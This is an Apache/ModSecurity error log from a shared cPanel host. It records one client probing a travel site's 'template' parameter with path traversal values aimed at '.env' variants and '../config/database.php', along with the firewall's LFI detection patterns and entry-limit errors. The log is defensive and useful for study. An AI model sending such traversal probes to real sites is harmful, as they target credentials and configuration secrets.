[Fri Jul 17 08:55:06.631670 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.631727 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.631854 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.632179 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.632248 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.632278 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.636468 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlIQAAAA0"]
[Fri Jul 17 08:55:06.636510 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlIQAAAA0"]
[Fri Jul 17 08:55:06.637739 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlIQAAAA0"]
[Fri Jul 17 08:55:06.637885 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.638184 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkivekYYQ8uns4MwlIQAAAA0"]
[Fri Jul 17 08:55:06.643646 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVAAAAAE"]
[Fri Jul 17 08:55:06.643708 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVAAAAAE"]
[Fri Jul 17 08:55:06.644920 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVAAAAAE"]
[Fri Jul 17 08:55:06.645082 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.647077 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zVAAAAAE"]
[Fri Jul 17 08:55:06.667436 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATQAAAAU"]
[Fri Jul 17 08:55:06.667485 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATQAAAAU"]
[Fri Jul 17 08:55:06.668640 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATQAAAAU"]
[Fri Jul 17 08:55:06.668781 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.669037 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ATQAAAAU"]
[Fri Jul 17 08:55:06.669111 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQAAAABs"]
[Fri Jul 17 08:55:06.669144 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQAAAABs"]
[Fri Jul 17 08:55:06.669206 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:template: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQAAAABs"]
[Fri Jul 17 08:55:06.670226 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2Fconfig%2Fdatabase.php&debug=VHco9_LDyHUd-C8HigpuZM6qfmFY0A3TuURF2SquHIRE3uU-4zlU4H5WsJdZrBvYkFEwHziSPk6LQ8eRtVD9WGBBiFaj7Yf-Sm4hYqnX4BtPdxOQVsRkh7Ufe8A6QJsR_aT5zcT2pCvG5lEB_TMHnxNE6X0Yp9DVL3meb-f4Kzkk7zBf9frG6SUAxgSnrXKWIjVL3GUD-lV7bhWK7NtOLEdTs99d4JmfD8Vq8nEEQBaXP4NywGyu1mQ-SxHbFirQys2L6DZLP45ocxdp_039WjVi&ts=HUEICRX4MKFEOINZB2U7HV27DYGLI27NXPEVUDANGBG6RF3WB2Z5USIWXA5YA5URZJGNX7DELE2TEVNXUKJ63BUXHD6QZCZSRBKAKJZX7SOYSA7YPHEPMN5P3LT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670277 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670323 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/database.php&debug=VHco9_LDyHUd-C8HigpuZM6qfmFY0A3TuURF2SquHIRE3uU-4zlU4H5WsJdZrBvYkFEwHziSPk6LQ8eRtVD9WGBBiFaj7Yf-Sm4hYqnX4BtPdxOQVsRkh7Ufe8A6QJsR_aT5zcT2pCvG5lEB_TMHnxNE6X0Yp9DVL3meb-f4Kzkk7zBf9frG6SUAxgSnrXKWIjVL3GUD-lV7bhWK7NtOLEdTs99d4JmfD8Vq8nEEQBaXP4NywGyu1mQ-SxHbFirQys2L6DZLP45ocxdp_039WjVi&ts=HUEICRX4MKFEOINZB2U7HV27DYGLI27NXPEVUDANGBG6RF3WB2Z5USIWXA5YA5URZJGNX7DELE2TEVNXUKJ63BUXHD6QZCZSRBKAKJZX7SOYSA7YPHEPMN5P3LTWFRUECRLSTOBOO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670350 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/database.php&debug=vhco9_ldyhud-c8higpuzm6qfmfy0a3tuurf2squhire3uu-4zlu4h5wsjdzrbvykfewhzispk6lq8ertvd9wgbbifaj7yf-sm4hyqnx4btpdxoqvsrkh7ufe8a6qjsr_at5zct2pcvg5leb_tmhnxne6x0yp9dvl3meb-f4kzkk7zbf9frg6suaxgsnrxkwijvl3gud-lv7bhwk7ntoledts99d4jmfd8vq8neeqbaxp4nywgyu1mq-sxhbfirqys2l6dzlp45ocxdp_039wjvi&ts=hueicrx4mkfeoinzb2u7hv27dygli27nxpevudangbg6rf3wb2z5usiwxa5ya5urzjgnx7dele2tevnxukj63buxhd6qzczsrbkakjzx7soysa7yphepmn5p3ltwfruecrlstoboo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670374 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670413 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670484 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:template: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.670554 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mQAAAAw"]
[Fri Jul 17 08:55:06.670585 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mQAAAAw"]
[Fri Jul 17 08:55:06.670657 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:template: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mQAAAAw"]
[Fri Jul 17 08:55:06.672090 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mQAAAAw"]
[Fri Jul 17 08:55:06.672152 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQAAAABs"]
[Fri Jul 17 08:55:06.672235 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.672275 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
